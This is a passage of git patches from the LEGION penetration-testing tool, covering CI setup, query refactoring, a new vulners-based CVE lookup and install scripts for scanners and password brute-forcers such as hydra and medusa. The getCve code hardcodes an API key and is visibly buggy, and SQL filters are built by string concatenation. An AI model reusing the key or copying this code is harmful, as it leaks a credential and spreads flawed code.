Vulnerabilities](https://snyk.io/test/github/GoVanguard/legion/badge.svg?targetFile=requirements.txt)](https://snyk.io/test/github/GoVanguard/legion?targetFile=requirements.txt) [![Maintainability](https://api.codeclimate.com/v1/badges/4e33e52aab8f49cdcd02/maintainability)](https://codeclimate.com/github/GoVanguard/legion/maintainability) ## Authors: From 93bbb9428709f2d7a31bfca1f3820e3fd0d504fd Mon Sep 17 00:00:00 2001 From: GitHub Date: Fri, 7 Dec 2018 13:50:02 -0600 Subject: [PATCH 059/450] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index bec2ae1f..f197ca7d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ -LEGION 0.2.3 (https://govanguard.io) +LEGION (https://govanguard.io) == [![Known Vulnerabilities](https://snyk.io/test/github/GoVanguard/legion/badge.svg?targetFile=requirements.txt)](https://snyk.io/test/github/GoVanguard/legion?targetFile=requirements.txt) [![Maintainability](https://api.codeclimate.com/v1/badges/4e33e52aab8f49cdcd02/maintainability)](https://codeclimate.com/github/GoVanguard/legion/maintainability) From 052d49bac6ab652b601828abe898939179b015b2 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Fri, 14 Dec 2018 08:11:13 -0600 Subject: [PATCH 060/450] Add travis-ci def, CVE modeling --- .travis.yml | 12 ++ app/logic.py | 167 ++++++++++----- plugins/__init__.py | 0 plugins/azureCveQuery/azureCveQuery.conf | 26 --- plugins/azureCveQuery/azureCveQuery.py | 255 ----------------------- test.py | 27 +++ 6 files changed, 153 insertions(+), 334 deletions(-) create mode 100644 .travis.yml create mode 100644 plugins/__init__.py delete mode 100644 plugins/azureCveQuery/azureCveQuery.conf delete mode 100644 plugins/azureCveQuery/azureCveQuery.py create mode 100644 test.py diff --git a/.travis.yml b/.travis.yml new file mode 100644 index 00000000..db39795a --- /dev/null +++ b/.travis.yml @@ -0,0 +1,12 @@ +language: python + +sudo: true + +python: + +- 3.6 + +install: + - pip install -r requirements.txt + +script: test.py diff --git a/app/logic.py b/app/logic.py index 21cdd1df..549f8b43 100644 --- a/app/logic.py +++ b/app/logic.py @@ -181,101 +181,100 @@ def saveProjectAs(self, filename, replace=0): return False def isHostInDB(self, host): # used we don't run tools on hosts out of scope - tmp_query = 'SELECT host.ip FROM nmap_host AS host WHERE host.ip == ? OR host.hostname == ?' - result = self.db.metadata.bind.execute(tmp_query, str(host), str(host)).fetchall() + query = 'SELECT host.ip FROM nmap_host AS host WHERE host.ip == ? OR host.hostname == ?' + result = self.db.metadata.bind.execute(query, str(host), str(host)).fetchall() if result: return True return False def getHostsFromDB(self, filters): - tmp_query = 'SELECT * FROM nmap_host AS hosts WHERE 1=1' + query = 'SELECT * FROM nmap_host AS hosts WHERE 1=1' if filters.down == False: - tmp_query += ' AND hosts.status!=\'down\'' + query += ' AND hosts.status!=\'down\'' if filters.up == False: - tmp_query += ' AND hosts.status!=\'up\'' + query += ' AND hosts.status!=\'up\'' if filters.checked == False: - tmp_query += ' AND hosts.checked!=\'True\'' + query += ' AND hosts.checked!=\'True\'' for word in filters.keywords: - tmp_query += ' AND (hosts.ip LIKE \'%'+sanitise(word)+'%\' OR hosts.os_match LIKE \'%'+sanitise(word)+'%\' OR hosts.hostname LIKE \'%'+sanitise(word)+'%\')' + query += ' AND (hosts.ip LIKE \'%'+sanitise(word)+'%\' OR hosts.os_match LIKE \'%'+sanitise(word)+'%\' OR hosts.hostname LIKE \'%'+sanitise(word)+'%\')' - return self.db.metadata.bind.execute(tmp_query).fetchall() + return self.db.metadata.bind.execute(query).fetchall() # get distinct service names from DB def getServiceNamesFromDB(self, filters): - tmp_query = ('SELECT DISTINCT service.name FROM nmap_service as service ' + + query = ('SELECT DISTINCT service.name FROM nmap_service as service ' + 'INNER JOIN nmap_port as ports ' + 'INNER JOIN nmap_host AS hosts ' + 'ON hosts.id = ports.host_id AND service.id=ports.service_id WHERE 1=1') if filters.down == False: - tmp_query += ' AND hosts.status!=\'down\'' + query += ' AND hosts.status!=\'down\'' if filters.up == False: - tmp_query += ' AND hosts.status!=\'up\'' + query += ' AND hosts.status!=\'up\'' if filters.checked == False: - tmp_query += ' AND hosts.checked!=\'True\'' + query += ' AND hosts.checked!=\'True\'' for word in filters.keywords: - tmp_query += ' AND (hosts.ip LIKE \'%'+sanitise(word)+'%\' OR hosts.os_match LIKE \'%'+sanitise(word)+'%\' OR hosts.hostname LIKE \'%'+sanitise(word)+'%\')' + query += ' AND (hosts.ip LIKE \'%'+sanitise(word)+'%\' OR hosts.os_match LIKE \'%'+sanitise(word)+'%\' OR hosts.hostname LIKE \'%'+sanitise(word)+'%\')' if filters.portopen == False: - tmp_query += ' AND ports.state!=\'open\' AND ports.state!=\'open|filtered\'' + query += ' AND ports.state!=\'open\' AND ports.state!=\'open|filtered\'' if filters.portclosed == False: - tmp_query += ' AND ports.state!=\'closed\'' + query += ' AND ports.state!=\'closed\'' if filters.portfiltered == False: - tmp_query += ' AND ports.state!=\'filtered\' AND ports.state!=\'open|filtered\'' + query += ' AND ports.state!=\'filtered\' AND ports.state!=\'open|filtered\'' if filters.tcp == False: - tmp_query += ' AND ports.protocol!=\'tcp\'' + query += ' AND ports.protocol!=\'tcp\'' if filters.udp == False: - tmp_query += ' AND ports.protocol!=\'udp\'' + query += ' AND ports.protocol!=\'udp\'' - tmp_query += ' ORDER BY service.name ASC' + query += ' ORDER BY service.name ASC' - return self.db.metadata.bind.execute(tmp_query).fetchall() + return self.db.metadata.bind.execute(query).fetchall() # get notes for given host IP def getNoteFromDB(self, hostId): session = self.db.session() return session.query(note).filter_by(host_id=str(hostId)).first() - #return note.query.filter_by(host_id=str(hostId)).first() # get script info for given host IP def getScriptsFromDB(self, hostIP): - tmp_query = ('SELECT host.id,host.script_id,port.port_id,port.protocol FROM nmap_script AS host ' + + query = ('SELECT host.id,host.script_id,port.port_id,port.protocol FROM nmap_script AS host ' + 'INNER JOIN nmap_host AS hosts ON hosts.id = host.host_id ' + 'LEFT OUTER JOIN nmap_port AS port ON port.id=host.port_id ' + 'WHERE hosts.ip=?') - return self.db.metadata.bind.execute(tmp_query, str(hostIP)).fetchall() + return self.db.metadata.bind.execute(query, str(hostIP)).fetchall() def getScriptOutputFromDB(self, scriptDBId): - tmp_query = ('SELECT script.output FROM nmap_script as script WHERE script.id=?') - return self.db.metadata.bind.execute(tmp_query, str(scriptDBId)).fetchall() + query = ('SELECT script.output FROM nmap_script as script WHERE script.id=?') + return self.db.metadata.bind.execute(query, str(scriptDBId)).fetchall() # get port and service info for given host IP def getPortsAndServicesForHostFromDB(self, hostIP, filters): - tmp_query = ('SELECT hosts.ip,ports.port_id,ports.protocol,ports.state,ports.host_id,ports.service_id,services.name,services.product,services.version,services.extrainfo,services.fingerprint FROM nmap_port AS ports ' + + query = ('SELECT hosts.ip,ports.port_id,ports.protocol,ports.state,ports.host_id,ports.service_id,services.name,services.product,services.version,services.extrainfo,services.fingerprint FROM nmap_port AS ports ' + 'INNER JOIN nmap_host AS hosts ON hosts.id = ports.host_id ' + 'LEFT OUTER JOIN nmap_service AS services ON services.id=ports.service_id ' + 'WHERE hosts.ip=?') if filters.portopen == False: - tmp_query += ' AND ports.state!=\'open\' AND ports.state!=\'open|filtered\'' + query += ' AND ports.state!=\'open\' AND ports.state!=\'open|filtered\'' if filters.portclosed == False: - tmp_query += ' AND ports.state!=\'closed\'' + query += ' AND ports.state!=\'closed\'' if filters.portfiltered == False: - tmp_query += ' AND ports.state!=\'filtered\' AND ports.state!=\'open|filtered\'' + query += ' AND ports.state!=\'filtered\' AND ports.state!=\'open|filtered\'' if filters.tcp == False: - tmp_query += ' AND ports.protocol!=\'tcp\'' + query += ' AND ports.protocol!=\'tcp\'' if filters.udp == False: - tmp_query += ' AND ports.protocol!=\'udp\'' + query += ' AND ports.protocol!=\'udp\'' - return self.db.metadata.bind.execute(tmp_query, str(hostIP)).fetchall() + return self.db.metadata.bind.execute(query, str(hostIP)).fetchall() # used to check if there are any ports of a specific protocol for a given host def getPortsForHostFromDB(self, hostIP, protocol): query = ('SELECT ports.port_id FROM nmap_port AS ports ' + 'INNER JOIN nmap_host AS hosts ON hosts.id = ports.host_id ' + 'WHERE hosts.ip=? and ports.protocol=?') - results = self.db.metadata.bind.execute(tmp_query, str(hostIP), str(protocol)).first() + results = self.db.metadata.bind.execute(query, str(hostIP), str(protocol)).first() return results # used to get the service name given a host ip and a port when we are in tools tab (left) and right click on a host @@ -284,7 +283,7 @@ def getServiceNameForHostAndPort(self, hostIP, port): 'INNER JOIN nmap_host AS hosts ON hosts.id = ports.host_id ' + 'INNER JOIN nmap_port AS ports ON services.id=ports.service_id ' + 'WHERE hosts.ip=? and ports.port_id=?') - results = self.db.metadata.bind.execute(tmp_query, str(hostIP), str(port)).first() + results = self.db.metadata.bind.execute(query, str(hostIP), str(port)).first() return results # used to delete all port/script data related to a host - to overwrite portscan info with the latest scan @@ -349,39 +348,39 @@ def getHostsAndPortsForServiceFromDB(self, serviceName, filters): # to speed up the queries we replace the columns we don't need by zeros (the reason we need all the columns is we are using the same model to display process information everywhere) def getProcessesFromDB(self, filters, showProcesses=''): if showProcesses == '': # we do not fetch nmap processes because these are not displayed in the host tool tabs / tools - tmp_query = ('SELECT "0", "0", "0", process.name, "0", "0", "0", "0", "0", "0", "0", "0", "0", "0", "0" FROM process AS process WHERE process.closed="False" AND process.name!="nmap" group by process.name') - result = self.db.metadata.bind.execute(tmp_query).fetchall() + query = ('SELECT "0", "0", "0", process.name, "0", "0", "0", "0", "0", "0", "0", "0", "0", "0", "0" FROM process AS process WHERE process.closed="False" AND process.name!="nmap" group by process.name') + result = self.db.metadata.bind.execute(query).fetchall() elif showProcesses == False: # when opening a project, fetch only the processes that have display=false and were not in tabs that were closed by the user - tmp_query = ('SELECT process.id, process.hostip, process.tabtitle, process.outputfile, poutput.output FROM process AS process ' + query = ('SELECT process.id, process.hostip, process.tabtitle, process.outputfile, poutput.output FROM process AS process ' 'INNER JOIN process_output AS poutput ON process.id = poutput.process_id ' 'WHERE process.display=? AND process.closed="False" order by process.id desc') - result = self.db.metadata.bind.execute(tmp_query, str(showProcesses)).fetchall() + result = self.db.metadata.bind.execute(query, str(showProcesses)).fetchall() else: # show all the processes in the (bottom) process table (no matter their closed value) - tmp_query = ('SELECT * FROM process AS process WHERE process.display=? order by id desc') - result = self.db.metadata.bind.execute(tmp_query, str(showProcesses)).fetchall() + query = ('SELECT * FROM process AS process WHERE process.display=? order by id desc') + result = self.db.metadata.bind.execute(query, str(showProcesses)).fetchall() return result def getHostsForTool(self, toolname, closed='False'): if closed == 'FetchAll': - tmp_query = ('SELECT "0", "0", "0", "0", "0", process.hostip, process.port, process.protocol, "0", "0", process.outputfile, "0", "0", "0" FROM process AS process WHERE process.name=?') + query = ('SELECT "0", "0", "0", "0", "0", process.hostip, process.port, process.protocol, "0", "0", process.outputfile, "0", "0", "0" FROM process AS process WHERE process.name=?') else: - tmp_query = ('SELECT process.id, "0", "0", "0", "0", "0", "0", process.hostip, process.port, process.protocol, "0", "0", process.outputfile, "0", "0", "0" FROM process AS process WHERE process.name=? and process.closed="False"') + query = ('SELECT process.id, "0", "0", "0", "0", "0", "0", process.hostip, process.port, process.protocol, "0", "0", process.outputfile, "0", "0", "0" FROM process AS process WHERE process.name=? and process.closed="False"') - return self.db.metadata.bind.execute(tmp_query, str(toolname)).fetchall() + return self.db.metadata.bind.execute(query, str(toolname)).fetchall() def getProcessStatusForDBId(self, dbid): - tmp_query = ('SELECT process.status FROM process AS process WHERE process.id=?') - p = self.db.metadata.bind.execute(tmp_query, str(dbid)).fetchall() + query = ('SELECT process.status FROM process AS process WHERE process.id=?') + p = self.db.metadata.bind.execute(query, str(dbid)).fetchall() if p: return p[0][0] return -1 def getPidForProcess(self, procid): - tmp_query = ('SELECT process.pid FROM process AS process WHERE process.id=?') - p = self.db.metadata.bind.execute(tmp_query, str(procid)).fetchall() + query = ('SELECT process.pid FROM process AS process WHERE process.id=?') + p = self.db.metadata.bind.execute(query, str(procid)).fetchall() if p: return p[0][0] return -1 @@ -411,7 +410,7 @@ def addProcessToDB(self, proc): def addScreenshotToDB(self, ip, port, filename): p_output = process_output() # add row to process_output table (separate table for performance reasons) - p = process("-", "screenshooter", "screenshot ("+str(port)+"/tcp)", str(ip), str(port), "tcp", "", getTimestamp(True), getTimestamp(True), str(filename), "Finished", p_output, 2, 0) + p = process(0, "screenshooter", "screenshot ("+str(port)+"/tcp)", str(ip), str(port), "tcp", "", getTimestamp(True), getTimestamp(True), str(filename), "Finished", p_output, 2, 0) session = self.db.session() session.add(p) session.commit() @@ -534,15 +533,15 @@ def storeNotesInDB(self, hostId, notes): self.db.commit() def isKilledProcess(self, procId): - tmp_query = ('SELECT process.status FROM process AS process WHERE process.id=?') - proc = self.db.metadata.bind.execute(tmp_query, str(procId)).fetchall() + query = ('SELECT process.status FROM process AS process WHERE process.id=?') + proc = self.db.metadata.bind.execute(query, str(procId)).fetchall() if not proc or str(proc[0][0]) == "Killed": return True return False def isCanceledProcess(self, procId): - tmp_query = ('SELECT process.status FROM process AS process WHERE process.id=?') - proc = self.db.metadata.bind.execute(tmp_query, str(procId)).fetchall() + query = ('SELECT process.status FROM process AS process WHERE process.id=?') + proc = self.db.metadata.bind.execute(query, str(procId)).fetchall() if not proc or str(proc[0][0]) == "Cancelled": return True return False @@ -569,6 +568,57 @@ def setFilename(self, filename): def setOutput(self, output): self.output = output + def getCveFuzzy(self, searchPhrase): + import requests + VULNERS_LINKS = { + 'search':'https://vulners.com/api/v3/search/lucene/', + 'id':'https://vulners.com/api/v3/search/id/', + } + exploitExcludeList = ['nessus', 'openvas', 'seebug'] + searchParameters = { + 'size':500, + 'skip':0, + } + searchQuery = '("%s") AND cvelist:[* TO *] AND %s' % (searchPhrase, " AND ".join(["-type:%s" % type for type in exploitExcludeList]).strip()) + cveIdentificatorsSet = set() + bulkSearch = searchParameters + bulkSearch['query'] = searchQuery + bulletinSearch = searchParameters + print("Executing search with query: %s" % searchQuery) + findAllBulletins = requests.post(VULNERS_LINKS['search'], json=bulkSearch).json().get('data') + totalBulletins = findAllBulletins.get('total') + print("Total found bulletins: %s" % totalBulletins) + allBulletinIds = [bulletinEntry['_source']['id'] for bulletinEntry in findAllBulletins['search']] + for bulletinId in allBulletinIds: + bulletinSearch['id'] = bulletinId + searchResult = requests.post(VULNERS_LINKS['id'], json=bulletinSearch).json()['data']['documents'][bulletinId] + if not searchResult .get('cvelist'): + print("No CVE identificators for %s" % bulletinId) + else: + cveIdentificatorsSet = cveIdentificatorsSet.union(searchResult.get('cvelist')) + return list(cveIdentificatorsSet) + + def getCve(self, product, version): + import vulners + formattedResults = [] + try: + vulnersApi = vulners.Vulners(api_key="X02GUJ0BARMNBPTYCHK113SEAUOXTHMF6COCD8M7TCAIY2FHWX9OIROBBVNMQCF2") + queryResults = vulnersApi.softwareVulnerabilities(str(product), str(version)) + #exploitList = results.get('exploit') + vulnList = [queryResults.get(key) for key in queryResults if key not in ['info', 'blog', 'bugbounty']] + for vulnEntry in vulnList: + vulnEntry = vulnEntry[0] + cveList = vulnEntry['cvelist'] + cveUrl = vulnEntry['href'] + cveCvss = vulnEntry['cvss'] + cveTitle = vulnEntry[0]['title'] + cveType = vulnEntry[0]['type'] + formattedResult = {'cveList': cveList, 'cveUrl': cveUrl, 'cveTitle': cveTitle} + formattedResults.append(formattedResult) + except: + print("Vulners query issue") + return formattedResults + def run(self): # it is necessary to get the qprocess because we need to send it back to the scheduler when we're done importing try: session = self.db.session() @@ -627,6 +677,17 @@ def run(self): # it is nece if not db_os: t_nmap_os = nmap_os(os.name, os.family, os.generation, os.os_type, os.vendor, os.accuracy, db_host.id) session.add(t_nmap_os) + print(os.name) + print(os.family) + print(os.generation) + print(os.os_type) + print(os.vendor) + osCves = self.getCveFuzzy(os.name) + print(osCves) + for osCve in osCves: + t_cve = cve(name = osCve, url = "http://test", criteria = 'crit:test', fingerprint = 'fing:test') + session.add(t_cve) + t_cve = None all_ports = h.all_ports() self.tsLog(" 'ports' to process: {all_ports}".format(all_ports=str(len(all_ports)))) @@ -768,7 +829,7 @@ def run(self): # it is nece except Exception as e: self.tsLog('Something went wrong when parsing the nmap file..') - self.tsLog("Unexpected error:", sys.exc_info()[0]) + self.tsLog("Unexpected error:" + str(sys.exc_info()[0])) self.tsLog(e) raise self.done.emit() diff --git a/plugins/__init__.py b/plugins/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/plugins/azureCveQuery/azureCveQuery.conf b/plugins/azureCveQuery/azureCveQuery.conf deleted file mode 100644 index 82cc92a7..00000000 --- a/plugins/azureCveQuery/azureCveQuery.conf +++ /dev/null @@ -1,26 +0,0 @@ -[general] -host: 0.0.0.0 -debug: False -heartbeatInterval: 5 - -[logging] -logFilename: ./azureCveQuery.log - -[redis] -host: 127.0.0.1 -port: 6379 -cacheTtl: 120 - -[api] -port: 8000 - -[cli] -port: 50101 - -[azure] -webServiceUrl: https://XX -webServiceKey: XX - -[metrics] -metricLimit: 64 -averageLimit: 10 diff --git a/plugins/azureCveQuery/azureCveQuery.py b/plugins/azureCveQuery/azureCveQuery.py deleted file mode 100644 index 43137127..00000000 --- a/plugins/azureCveQuery/azureCveQuery.py +++ /dev/null @@ -1,255 +0,0 @@ -import asyncio, aioredis, aiohttp, aiomonitor -from six.moves.urllib.parse import quote -from datetime import datetime -import hashlib, json -from apscheduler.schedulers.asyncio import AsyncIOScheduler -from utilities.stenoLogging import * -import configparser -from utilities import DictToObject, DictObject -from sanic import Sanic, response -from sanic.views import HTTPMethodView -from sanic.response import text -from sanic_swagger import doc, openapi_blueprint, swagger_blueprint - -app = Sanic(__name__) -app.blueprint(openapi_blueprint) -app.blueprint(swagger_blueprint) - -config = configparser.ConfigParser() -config.read('./azureCveQuery.conf') - -redisHost = str(config.get('redis', 'host')) -redisPort = int(config.get('redis', 'port')) -redisCacheTtl = int(config.get('redis', 'cacheTtl')) -bindHost = str(config.get('general', 'host')) -cliPort = int(config.get('cli', 'port')) -apiServerPort = int(config.get('api', 'port')) -azureMlsWebServiceUrl = str(config.get('azure', 'webServiceUrl')) -azureMlsWebServiceKey = str(config.get('azure', 'webServiceKey')) -serviceCycleTime = int(config.get('azureCveQuery', 'serviceCycleTime')) -metricLimit = int(config.get('metrics', 'metricLimit')) -metricAverageLimit = int(config.get('metrics', 'averageLimit')) -logFile = str(config.get('logging', 'logFilename')) -debug = bool(config.get('general', 'debug')) -heartbeatInterval = int(config.get('general', 'heartbeatInterval')) - -log = get_logger('azureCveQueryLogger', path=logFile) -log.setLevel(logging.INFO) - -azureMlsQuery = { - 'since': '', - 'until': '', - 'date_range': '', - 'statuses[]': ['triggered'], - 'incident_key': '', - 'service_ids[]': [], - 'team_ids[]': [], - 'user_ids[]': [], - 'urgencies[]': [], - 'time_zone': 'UTC', - 'sort_by[]': [], - 'include[]': [] -} - -azureMlsNote = { - 'note': { - 'content': '' - } -} - -azureMlsHeaders = {'Accept': 'application/vnd.json;version=2', - 'Authorization': 'Token token={0}'.format(azureMlsWebServiceKey)} - -metrics = {} - -from functools import wraps -from time import time - -def timing(f): - @wraps(f) - async def wrap(*args, **kw): - ts = time() - result = await f(*args, **kw) - te = time() - tr = te-ts - log.debug('Function:%r args:[%r, %r] took: %2.4f sec' % (f.__name__, args, kw, tr)) - try: - testGet = metrics[f.__name__] - except: - metrics[f.__name__] = {} - metrics[f.__name__]['count'] = 0 - metrics[f.__name__]['execution_time'] = [] - metrics[f.__name__]['execution_time'].append(tr) - metricLen = len(metrics[f.__name__]['execution_time']) - if metricLen > metricLimit: - del metrics[f.__name__]['execution_time'][0] - else: - metrics[f.__name__]['count'] = metrics[f.__name__]['count'] + 1 - if metricLen > metricAverageLimit: - metrics[f.__name__]['avg_execution_time'] = sum(metrics[f.__name__]['execution_time']) / metrics[f.__name__]['count'] - return result - return wrap - -# Drop heartbeat -@timing -async def heartbeat(pub): - timeNow = str(datetime.now()) - log.info('Tick tock! The time is: {timeNow}'.format(timeNow=timeNow)) - await publishToRedis(pub, 'heartbeats', {'azureCveQuery':timeNow}) - -# Enque aquisition of PagerDuty Incidents and publiush them -@timing -@doc.summary("Enque aquisition of PagerDuty Incidents and publiush them") -async def checkPagerDutyIncidents(pub): - async with aiohttp.ClientSession(loop=loop) as session: - data = await fetchFromPagerDuty(azureMlsServiceUrl, azureMlsHeaders, azureMlsQuery, session) - if 'incidents' in data: - incidentDictionaries = DictToObject(data['incidents']) - for incidentDictionary in incidentDictionaries.outputStructure: - log.info("Incident: {id}".format(id=str(incidentDictionary.id))) - fields = {} - fields['id'] = incidentDictionary.id - fields['description'] = incidentDictionary.description - fields['service'] = incidentDictionary.impacted_services[0].id - fields['status'] = incidentDictionary.status - if len(incidentDictionary.teams) > 0: - fields['teams'] = incidentDictionary.teams[0].id - fields['url'] = incidentDictionary.html_url - await publishToRedis(pub, 'incoming-incidents', json.dumps(fields)) - -# Create Note on Incident -@timing -@doc.summary("Create Note on Incident") -async def postNoteToPagerDutyNote(incId, Note): - async with aiohttp.ClientSession(loop=loop) as session: - url = "{serviceUrl}/{incId}/notes".format(serviceUrl=azureMlsServiceUrl, incId=incId) - data = azureMlsNote - await postToPagerDuty(url, azureMlsHeaders, data, session) - -# Receive from Redis -@timing -async def redisMessageReceived(channelObj, pub): - while (await channelObj.wait_message()): - channelName = channelObj.name.decode() - log.info("Message recieved on {channelName}".format(channelName=channelName)) - if channelName == 'outgoing-incidents': - messageJson = await channelObj.get_json() - try: - messageDict = eval(messageJson) - except: - messageDict = messageJson - incId = messageDict['inc_id'] - incMessage = messageDict['catagorical_noise'] - log.info("INC {0} recieved on outgoing-incidents.".format(incId)) - ## postBackToPagerDuty(incId, incMessage) - await deleteFromRedis(pub, messageJson) - -# Execute post to create note on PagerDuty Incident -@timing -async def postToPagerDuty(url: str, headers: dict, data: dict, session): - log.debug('Post {url}'.format(url=url)) - data = quote(str(data)) - async with session.request('POST', url, headers=headers, data=data) as resp: - data = await resp.json() - return data - -# Execute aquisition of PagerDuty Incidents -@timing -async def fetchFromPagerDuty(url: str, headers: dict, params: dict, session) -> dict: - log.debug('Query {url}'.format(url=url)) - params = quote(str(params)) - async with session.request('GET', url, headers=headers, params=params) as resp: - data = await resp.json() - return data - -# Delete from Redis and remove cache items -@timing -async def deleteFromRedis(pub, message): - try: - await setOrUpdateRedisCache(pub, message, delete = True) - pub.delete(str(message)) - except: - raise "Error frlrting from Redis." - -# Publish to Redis Channel -@timing -async def publishToRedis(pub, channel: str, message): - try: - cache = await setOrUpdateRedisCache(pub, message) - if not cache: - log.info("Published to {channel}.".format(channel=channel)) - await pub.publish_json(channel, message) - else: - log.info("Already exists, Not published to {channel}.".format(channel=channel)) - except: - raise "Publish failure to {channel}.".format(channel=channel) - -# Check Redis Cache -@timing -async def setOrUpdateRedisCache(pub, data: dict, delete = False) -> bool: - try: - hash = hashlib.sha256(json.dumps(data).encode()).hexdigest() - compoundName = "cache:" + hash - cacheValue = await pub.exists(compoundName) - if not cacheValue and not delete: - await pub.set(compoundName, "True") - await pub.expire(compoundName, redisCacheTtl) - return False - if delete: - await pub.delete(compoundName) - return True - except: - raise "Issue setting cache in Redis for item: {compoundName}.".format(compoundName) - - -@app.route("/") -@timing -async def getRoot(request): - return await getMetrics(request) - -@app.route("/metrics") -@timing -async def getMetrics(request): - return response.json(metrics) - -@app.route("/config") -@timing -async def getConfig(request): - return response.json(config._sections) - -# Primary event loop -async def mainloop(loop): - - # Setup Redis - pub = await aioredis.create_redis('redis://{redisHost}:{redisPort}'.format(redisHost=redisHost, redisPort=redisPort)) - sub = await aioredis.create_redis('redis://{redisHost}:{redisPort}'.format(redisHost=redisHost, redisPort=redisPort)) - outgoingIncidentsSub = await sub.subscribe('outgoing-incidents') - outgoingIncidentsChannel = outgoingIncidentsSub[0] - incomingIncidentsSub = await sub.subscribe('incoming-incidents') - incomingIncidentsChannel = incomingIncidentsSub[0] - - # Setup Scheduler - scheduler = AsyncIOScheduler() - scheduler.add_job(heartbeat, args=(pub,), trigger='interval', seconds=heartbeatInterval) - scheduler.add_job(checkPagerDutyIncidents, args=(pub,), trigger='interval', seconds=serviceCycleTime) - scheduler.start() - - # Monitor Outgoing Channel - await asyncio.ensure_future(redisMessageReceived(outgoingIncidentsChannel, pub)) - - # Shutdown - sub.close() - pub.close() - - -if __name__ == '__main__': - try: - loop = asyncio.get_event_loop() - webSvr = app.create_server(host=bindHost, port=apiServerPort) - - with aiomonitor.start_monitor(loop=loop, host=bindHost, port=cliPort, console_enabled=False): - webSvrTask = asyncio.ensure_future(webSvr) - loop.run_until_complete(mainloop(loop=loop)) - loop.close() - except (KeyboardInterrupt, SystemExit): - pass diff --git a/test.py b/test.py new file mode 100644 index 00000000..8d294167 --- /dev/null +++ b/test.py @@ -0,0 +1,27 @@ +try: + from sqlalchemy.orm.scoping import ScopedSession as scoped_session +except ImportError as e: + print("Import failed. SQL Alchemy library not found.") + exit(1) + +try: + from PyQt5 import QtWidgets, QtGui, QtCore +except ImportError as e: + print("Import failed. PyQt5 library not found.") + exit(1) + +try: + import quamash + import asyncio +except ImportError as e: + print("Import failed. quamash or asyncio not found.") + exit(1) + +try: + from app.logic import * + from ui.gui import * + from ui.view import * + from controller.controller import * +except ImportError as e: + print("Import failed. One or more modules failed to import correctly.") + exit(1) From 91540c1a2051eba689c175f95a7dbc3439096222 Mon Sep 17 00:00:00 2001 From: GitHub Date: Fri, 14 Dec 2018 08:18:14 -0600 Subject: [PATCH 061/450] Update README.md --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index f197ca7d..463cc75d 100644 --- a/README.md +++ b/README.md @@ -1,5 +1,6 @@ LEGION (https://govanguard.io) == +[![Build Status](https://travis-ci.com/GoVanguard/legion.svg?branch=master)](https://travis-ci.com/GoVanguard/legion) [![Known Vulnerabilities](https://snyk.io/test/github/GoVanguard/legion/badge.svg?targetFile=requirements.txt)](https://snyk.io/test/github/GoVanguard/legion?targetFile=requirements.txt) [![Maintainability](https://api.codeclimate.com/v1/badges/4e33e52aab8f49cdcd02/maintainability)](https://codeclimate.com/github/GoVanguard/legion/maintainability) From cd42a672270682475fddbcfce81b871cb90e54c2 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Fri, 14 Dec 2018 08:51:38 -0600 Subject: [PATCH 062/450] Tweak ci --- .travis.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.travis.yml b/.travis.yml index db39795a..d5b36627 100644 --- a/.travis.yml +++ b/.travis.yml @@ -9,4 +9,4 @@ python: install: - pip install -r requirements.txt -script: test.py +script: ./deps/install.sh From 9b243d27a5f5923670dfd77c9afc829bf74e5981 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Fri, 14 Dec 2018 08:53:00 -0600 Subject: [PATCH 063/450] Tweak ci --- .travis.yml | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/.travis.yml b/.travis.yml index d5b36627..cf4af37c 100644 --- a/.travis.yml +++ b/.travis.yml @@ -7,6 +7,7 @@ python: - 3.6 install: + - ./deps/install.sh - pip install -r requirements.txt -script: ./deps/install.sh +script: test.py From 2cf1804ccfc2b4f2ea797f19af76374feb434490 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Fri, 14 Dec 2018 08:55:42 -0600 Subject: [PATCH 064/450] Tweak ci --- .travis.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.travis.yml b/.travis.yml index cf4af37c..781f4091 100644 --- a/.travis.yml +++ b/.travis.yml @@ -7,7 +7,7 @@ python: - 3.6 install: - - ./deps/install.sh + - sh ./deps/install.sh - pip install -r requirements.txt script: test.py From 3453ee35f5577aad4eaabdceeb7da8afb5ace8ce Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Fri, 14 Dec 2018 08:58:16 -0600 Subject: [PATCH 065/450] Tweak ci --- .travis.yml | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/.travis.yml b/.travis.yml index 781f4091..f603f518 100644 --- a/.travis.yml +++ b/.travis.yml @@ -7,7 +7,9 @@ python: - 3.6 install: - - sh ./deps/install.sh + - sh ./deps/installDeps.sh + - sh ./deps/installPyQt4.sh + - sh ./deps/installPythonLibs.sh - pip install -r requirements.txt script: test.py From 3136059f66eda79a339e38d143002a1eafbffad2 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Tue, 18 Dec 2018 15:38:51 -0600 Subject: [PATCH 066/450] Remove gksu --- deps/ubuntu.sh | 2 +- startLegion.sh | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/deps/ubuntu.sh b/deps/ubuntu.sh index 05348742..04012510 100644 --- a/deps/ubuntu.sh +++ b/deps/ubuntu.sh @@ -12,6 +12,6 @@ then fi ./installPythonLibs.sh echo "Installing external binaryies and application dependancies..." -apt-get -qq install finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb gksu -y +apt-get -qq install finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb -y echo "Installing Python Libraries..." ./installPythonLibs.sh diff --git a/startLegion.sh b/startLegion.sh index 0fe5a43c..ef7c6f00 100644 --- a/startLegion.sh +++ b/startLegion.sh @@ -53,4 +53,4 @@ then fi fi -gksu python3.6 legion.py +python3.6 legion.py From 20b128e58c2de6e0b8fe74425e8b728d9fe1fbe5 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Fri, 11 